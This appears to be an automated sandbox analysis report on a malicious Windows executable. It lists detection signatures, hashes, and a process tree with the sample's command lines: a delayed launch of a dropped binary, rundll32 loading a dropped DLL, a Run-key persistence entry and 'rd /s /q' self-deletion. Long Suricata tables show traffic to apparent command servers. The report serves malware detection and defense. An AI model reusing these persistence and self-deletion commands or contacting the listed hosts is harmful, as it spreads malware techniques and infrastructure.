Edit tour

Windows Analysis Report
XgijTrY6No.exe

Overview

General Information

Sample name:	XgijTrY6No.exe renamed because original name is a hash value
Original sample name:	02e18916d32cb641ad472bf835fa86d6a62b8e86f8838f062fd46cb4b88ccced.exe
Analysis ID:	1573195
MD5:	fc2914434d6121f5e04e8e70e235c239
SHA1:	2cb4237f4c0db11c3b6d80b54c9148daeccfeed6
SHA256:	02e18916d32cb641ad472bf835fa86d6a62b8e86f8838f062fd46cb4b88ccced
Tags:	104-21-50-174exeuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to infect the boot sector

Creates an autostart registry key pointing to binary in C:\Windows

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has a writeable .text section

Queries disk data (e.g. SMART data)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Abnormal high CPU Usage

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

XgijTrY6No.exe (PID: 7372 cmdline: "C:\Users\user\Desktop\XgijTrY6No.exe" MD5: FC2914434D6121F5E04E8E70E235C239)

cmd.exe (PID: 7428 cmdline: cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 7480 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

mszcy.exe (PID: 7540 cmdline: C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe" MD5: 847CCE07E3BF3D974D1D089F5028E95F)

rundll32.exe (PID: 7556 cmdline: c:\windows\system32\rundll32.exe "c:\ftelcs\rjqzr.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\mszcy.exe MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7992 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\ftelcs\rjqzr.dll",QueryPluginInterface MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 8020 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8068 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

rundll32.exe (PID: 6956 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\ftelcs\rjqzr.dll",QueryPluginInterface MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 7324 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\ftelcs" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6412 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\windows\SysWOW64\rundll32.exe "c:\ftelcs\rjqzr.dll",QueryPluginInterface, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 7556, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EvtMgr

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:23:56.791299+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49784	202.108.0.52	80	TCP
2024-12-11T16:23:59.829136+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49816	202.108.0.52	80	TCP
2024-12-11T16:24:03.868947+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49859	202.108.0.52	80	TCP
2024-12-11T16:24:08.003779+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49906	202.108.0.52	80	TCP
2024-12-11T16:24:12.056552+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49954	202.108.0.52	80	TCP
2024-12-11T16:24:16.057989+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50003	202.108.0.52	80	TCP
2024-12-11T16:24:20.017510+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50051	202.108.0.52	80	TCP
2024-12-11T16:24:24.055802+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50103	202.108.0.52	80	TCP
2024-12-11T16:24:28.046919+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50153	202.108.0.52	80	TCP
2024-12-11T16:24:32.061847+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50203	202.108.0.52	80	TCP
2024-12-11T16:24:36.063719+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50258	202.108.0.52	80	TCP
2024-12-11T16:24:42.283196+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50320	202.108.0.52	80	TCP
2024-12-11T16:24:44.655236+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50386	202.108.0.52	80	TCP
2024-12-11T16:24:48.144847+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50451	202.108.0.52	80	TCP
2024-12-11T16:24:52.271421+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50520	202.108.0.52	80	TCP
2024-12-11T16:24:56.292372+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50615	202.108.0.52	80	TCP
2024-12-11T16:25:00.327134+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50731	202.108.0.52	80	TCP
2024-12-11T16:25:04.663212+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50862	202.108.0.52	80	TCP
2024-12-11T16:25:08.789547+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	51060	202.108.0.52	80	TCP
2024-12-11T16:25:12.778422+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	51280	202.108.0.52	80	TCP
2024-12-11T16:25:16.915501+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	51528	202.108.0.52	80	TCP
2024-12-11T16:25:20.919423+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	51755	202.108.0.52	80	TCP
2024-12-11T16:25:25.009831+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	53200	202.108.0.52	80	TCP
2024-12-11T16:25:28.958074+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56944	202.108.0.52	80	TCP
2024-12-11T16:25:32.986227+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	60100	202.108.0.52	80	TCP
2024-12-11T16:25:36.966819+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	63952	202.108.0.52	80	TCP
2024-12-11T16:25:39.174337+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50337	202.108.0.52	80	TCP
2024-12-11T16:25:40.982007+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50977	202.108.0.52	80	TCP
2024-12-11T16:25:43.390201+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	53380	202.108.0.52	80	TCP
2024-12-11T16:25:45.263834+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	53422	202.108.0.52	80	TCP
2024-12-11T16:25:47.489539+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	55962	202.108.0.52	80	TCP
2024-12-11T16:25:49.296299+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56327	202.108.0.52	80	TCP
2024-12-11T16:25:51.501893+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	58828	202.108.0.52	80	TCP
2024-12-11T16:25:53.311911+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	59066	202.108.0.52	80	TCP
2024-12-11T16:25:57.315350+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	62750	202.108.0.52	80	TCP
2024-12-11T16:25:59.533787+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49590	202.108.0.52	80	TCP
2024-12-11T16:26:01.342570+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49927	202.108.0.52	80	TCP
2024-12-11T16:26:05.328584+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	52124	202.108.0.52	80	TCP
2024-12-11T16:26:07.564951+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56006	202.108.0.52	80	TCP
2024-12-11T16:26:09.404639+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56383	202.108.0.52	80	TCP
2024-12-11T16:26:11.581670+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	58881	202.108.0.52	80	TCP
2024-12-11T16:26:13.392656+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	59214	202.108.0.52	80	TCP
2024-12-11T16:26:17.516942+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	61877	202.108.0.52	80	TCP
2024-12-11T16:26:19.721041+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	65375	202.108.0.52	80	TCP
2024-12-11T16:26:21.523696+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49288	202.108.0.52	80	TCP
2024-12-11T16:26:23.736160+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	52401	202.108.0.52	80	TCP
2024-12-11T16:26:25.525697+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	52941	202.108.0.52	80	TCP
2024-12-11T16:26:27.751723+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	55715	202.108.0.52	80	TCP
2024-12-11T16:26:29.551664+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56267	202.108.0.52	80	TCP
2024-12-11T16:26:33.766154+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	59063	202.108.0.52	80	TCP
2024-12-11T16:26:36.004804+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	61971	202.108.0.52	80	TCP
2024-12-11T16:26:37.846600+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	62491	202.108.0.52	80	TCP
2024-12-11T16:26:40.017466+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49463	202.108.0.52	80	TCP
2024-12-11T16:26:41.926799+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50046	202.108.0.52	80	TCP
2024-12-11T16:26:45.850702+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	52122	202.108.0.52	80	TCP
2024-12-11T16:26:48.072805+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	55883	202.108.0.52	80	TCP
2024-12-11T16:26:49.940750+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56240	202.108.0.52	80	TCP
2024-12-11T16:26:52.127621+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	60302	202.108.0.52	80	TCP
2024-12-11T16:26:53.948394+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	60812	202.108.0.52	80	TCP
2024-12-11T16:26:56.253311+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	63950	202.108.0.52	80	TCP
2024-12-11T16:26:58.059484+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	64412	202.108.0.52	80	TCP
2024-12-11T16:27:00.267470+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	51307	202.108.0.52	80	TCP
2024-12-11T16:27:02.176197+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	51783	202.108.0.52	80	TCP
2024-12-11T16:27:06.223009+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	54437	202.108.0.52	80	TCP
2024-12-11T16:27:10.184978+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	57643	202.108.0.52	80	TCP
2024-12-11T16:27:12.315483+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	61632	202.108.0.52	80	TCP
2024-12-11T16:27:14.124924+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	62079	202.108.0.52	80	TCP
2024-12-11T16:27:16.330903+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	65252	202.108.0.52	80	TCP
2024-12-11T16:27:18.135329+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	65492	202.108.0.52	80	TCP
2024-12-11T16:27:20.345986+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	52282	202.108.0.52	80	TCP
2024-12-11T16:27:22.167088+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	52772	202.108.0.52	80	TCP
2024-12-11T16:27:24.470681+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56259	202.108.0.52	80	TCP
2024-12-11T16:27:26.271896+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	56922	202.108.0.52	80	TCP
2024-12-11T16:27:28.486033+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	59719	202.108.0.52	80	TCP
2024-12-11T16:27:30.472520+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	60345	202.108.0.52	80	TCP
2024-12-11T16:27:32.502287+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	63289	202.108.0.52	80	TCP
2024-12-11T16:27:34.301864+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	63531	202.108.0.52	80	TCP
2024-12-11T16:27:36.517660+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49981	202.108.0.52	80	TCP
2024-12-11T16:27:38.320425+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50465	202.108.0.52	80	TCP
2024-12-11T16:27:40.533102+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	53313	202.108.0.52	80	TCP
2024-12-11T16:27:42.344355+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	53774	202.108.0.52	80	TCP
2024-12-11T16:27:44.569071+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	57093	202.108.0.52	80	TCP
2024-12-11T16:27:46.407219+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	57498	202.108.0.52	80	TCP
2024-12-11T16:27:48.707734+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	59199	202.108.0.52	80	TCP
2024-12-11T16:27:50.508515+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	59535	202.108.0.52	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:23:53.890560+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49751	107.163.241.204	12354	TCP
2024-12-11T16:23:53.890593+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49750	107.163.241.204	12354	TCP
2024-12-11T16:23:56.303416+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49772	107.163.241.204	12354	TCP
2024-12-11T16:23:56.303417+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49773	107.163.241.204	12354	TCP
2024-12-11T16:23:58.018318+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49796	107.163.241.204	12354	TCP
2024-12-11T16:23:58.018413+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49798	107.163.241.204	12354	TCP
2024-12-11T16:24:00.253086+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49814	107.163.241.204	12354	TCP
2024-12-11T16:24:00.382672+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49815	107.163.241.204	12354	TCP
2024-12-11T16:24:02.018923+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49842	107.163.241.204	12354	TCP
2024-12-11T16:24:02.018923+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49840	107.163.241.204	12354	TCP
2024-12-11T16:24:04.284200+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49857	107.163.241.204	12354	TCP
2024-12-11T16:24:04.422135+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49860	107.163.241.204	12354	TCP
2024-12-11T16:24:06.030356+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49884	107.163.241.204	12354	TCP
2024-12-11T16:24:06.030511+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49887	107.163.241.204	12354	TCP
2024-12-11T16:24:08.265325+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49903	107.163.241.204	12354	TCP
2024-12-11T16:24:08.390411+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49905	107.163.241.204	12354	TCP
2024-12-11T16:24:10.158882+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49932	107.163.241.204	12354	TCP
2024-12-11T16:24:10.158902+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49929	107.163.241.204	12354	TCP
2024-12-11T16:24:12.390865+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49952	107.163.241.204	12354	TCP
2024-12-11T16:24:12.624896+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49955	107.163.241.204	12354	TCP
2024-12-11T16:24:14.176674+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49983	107.163.241.204	12354	TCP
2024-12-11T16:24:14.176738+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49979	107.163.241.204	12354	TCP
2024-12-11T16:24:16.422328+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50000	107.163.241.204	12354	TCP
2024-12-11T16:24:16.657593+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50002	107.163.241.204	12354	TCP
2024-12-11T16:24:18.190233+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50028	107.163.241.204	12354	TCP
2024-12-11T16:24:18.190278+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50032	107.163.241.204	12354	TCP
2024-12-11T16:24:20.459981+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50048	107.163.241.204	12354	TCP
2024-12-11T16:24:20.547172+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50050	107.163.241.204	12354	TCP
2024-12-11T16:24:22.233432+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50080	107.163.241.204	12354	TCP
2024-12-11T16:24:22.233453+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50077	107.163.241.204	12354	TCP
2024-12-11T16:24:24.482620+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50100	107.163.241.204	12354	TCP
2024-12-11T16:24:24.594050+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50102	107.163.241.204	12354	TCP
2024-12-11T16:24:26.236605+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50130	107.163.241.204	12354	TCP
2024-12-11T16:24:26.236679+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50127	107.163.241.204	12354	TCP
2024-12-11T16:24:28.529616+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50150	107.163.241.204	12354	TCP
2024-12-11T16:24:28.649777+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50152	107.163.241.204	12354	TCP
2024-12-11T16:24:30.251968+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50177	107.163.241.204	12354	TCP
2024-12-11T16:24:30.252001+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50180	107.163.241.204	12354	TCP
2024-12-11T16:24:32.484735+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50200	107.163.241.204	12354	TCP
2024-12-11T16:24:32.610317+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50204	107.163.241.204	12354	TCP
2024-12-11T16:24:34.260322+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50236	107.163.241.204	12354	TCP
2024-12-11T16:24:34.260451+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50233	107.163.241.204	12354	TCP
2024-12-11T16:24:36.482958+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50255	107.163.241.204	12354	TCP
2024-12-11T16:24:36.603552+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50257	107.163.241.204	12354	TCP
2024-12-11T16:24:38.268096+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50289	107.163.241.204	12354	TCP
2024-12-11T16:24:38.268130+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50292	107.163.241.204	12354	TCP
2024-12-11T16:24:40.515932+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50317	107.163.241.204	12354	TCP
2024-12-11T16:24:40.623860+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50319	107.163.241.204	12354	TCP
2024-12-11T16:24:42.283052+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50356	107.163.241.204	12354	TCP
2024-12-11T16:24:42.283199+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50354	107.163.241.204	12354	TCP
2024-12-11T16:24:44.516425+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50382	107.163.241.204	12354	TCP
2024-12-11T16:24:44.640596+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50385	107.163.241.204	12354	TCP
2024-12-11T16:24:46.307062+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50414	107.163.241.204	12354	TCP
2024-12-11T16:24:46.307144+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50416	107.163.241.204	12354	TCP
2024-12-11T16:24:48.533080+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50446	107.163.241.204	12354	TCP
2024-12-11T16:24:48.691211+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50450	107.163.241.204	12354	TCP
2024-12-11T16:24:50.455795+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50487	107.163.241.204	12354	TCP
2024-12-11T16:24:50.455806+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50483	107.163.241.204	12354	TCP
2024-12-11T16:24:52.688069+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50517	107.163.241.204	12354	TCP
2024-12-11T16:24:52.812873+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50521	107.163.241.204	12354	TCP
2024-12-11T16:24:54.470959+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50571	107.163.241.204	12354	TCP
2024-12-11T16:24:54.471060+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50574	107.163.241.204	12354	TCP
2024-12-11T16:24:56.785363+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50610	107.163.241.204	12354	TCP
2024-12-11T16:24:56.829068+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50614	107.163.241.204	12354	TCP
2024-12-11T16:24:58.489654+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50681	107.163.241.204	12354	TCP
2024-12-11T16:24:58.489687+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50675	107.163.241.204	12354	TCP
2024-12-11T16:25:00.857922+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50726	107.163.241.204	12354	TCP
2024-12-11T16:25:00.876287+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50730	107.163.241.204	12354	TCP
2024-12-11T16:25:02.673947+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50810	107.163.241.204	12354	TCP
2024-12-11T16:25:02.673978+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50804	107.163.241.204	12354	TCP
2024-12-11T16:25:05.064847+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50858	107.163.241.204	12354	TCP
2024-12-11T16:25:05.186377+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50861	107.163.241.204	12354	TCP
2024-12-11T16:25:06.955156+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50959	107.163.241.204	12354	TCP
2024-12-11T16:25:06.955323+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50969	107.163.241.204	12354	TCP
2024-12-11T16:25:09.188278+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51054	107.163.241.204	12354	TCP
2024-12-11T16:25:09.298687+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51059	107.163.241.204	12354	TCP
2024-12-11T16:25:10.955064+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51174	107.163.241.204	12354	TCP
2024-12-11T16:25:10.955087+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51165	107.163.241.204	12354	TCP
2024-12-11T16:25:13.188982+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51270	107.163.241.204	12354	TCP
2024-12-11T16:25:13.424881+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51281	107.163.241.204	12354	TCP
2024-12-11T16:25:15.095798+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51398	107.163.241.204	12354	TCP
2024-12-11T16:25:15.095859+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51413	107.163.241.204	12354	TCP
2024-12-11T16:25:17.345616+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51518	107.163.241.204	12354	TCP
2024-12-11T16:25:17.438537+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51526	107.163.241.204	12354	TCP
2024-12-11T16:25:19.111413+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51656	107.163.241.204	12354	TCP
2024-12-11T16:25:19.111431+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51647	107.163.241.204	12354	TCP
2024-12-11T16:25:21.344835+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51746	107.163.241.204	12354	TCP
2024-12-11T16:25:21.459218+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51754	107.163.241.204	12354	TCP
2024-12-11T16:25:23.130264+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51895	107.163.241.204	12354	TCP
2024-12-11T16:25:23.130347+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	51887	107.163.241.204	12354	TCP
2024-12-11T16:25:25.398283+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53096	107.163.241.204	12354	TCP
2024-12-11T16:25:25.488125+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	53196	107.163.241.204	12354	TCP
2024-12-11T16:25:27.142945+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55373	107.163.241.204	12354	TCP
2024-12-11T16:25:27.143418+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	55196	107.163.241.204	12354	TCP
2024-12-11T16:25:29.394582+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56825	107.163.241.204	12354	TCP
2024-12-11T16:25:29.502142+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	56943	107.163.241.204	12354	TCP
2024-12-11T16:25:31.158000+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58262	107.163.241.204	12354	TCP
2024-12-11T16:25:31.158120+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	58391	107.163.241.204	12354	TCP
2024-12-11T16:25:33.409008+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	59886	107.163.241.204	12354	TCP
2024-12-11T16:25:33.582161+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	60187	107.163.241.204	12354	TCP
2024-12-11T16:25:35.161257+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62140	107.163.241.204	12354	TCP
2024-12-11T16:25:35.161334+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	62324	107.163.241.204	12354	TCP
2024-12-11T16:25:37.393782+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	63850	107.163.241.204	12354	TCP
2024-12-11T16:25:37.527730+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	63953	107.163.241.204	12354	TCP
2024-12-11T16:25:39.174379+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49568	107.163.241.204	12354	TCP
2024-12-11T16:25:39.174382+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49408	107.163.241.204	12354	TCP
2024-12-11T16:25:41.422540+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50887	107.163.241.204	12354	TCP
2024-12-11T16:25:41.516828+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	50978	107.163.241.204	12354	TCP
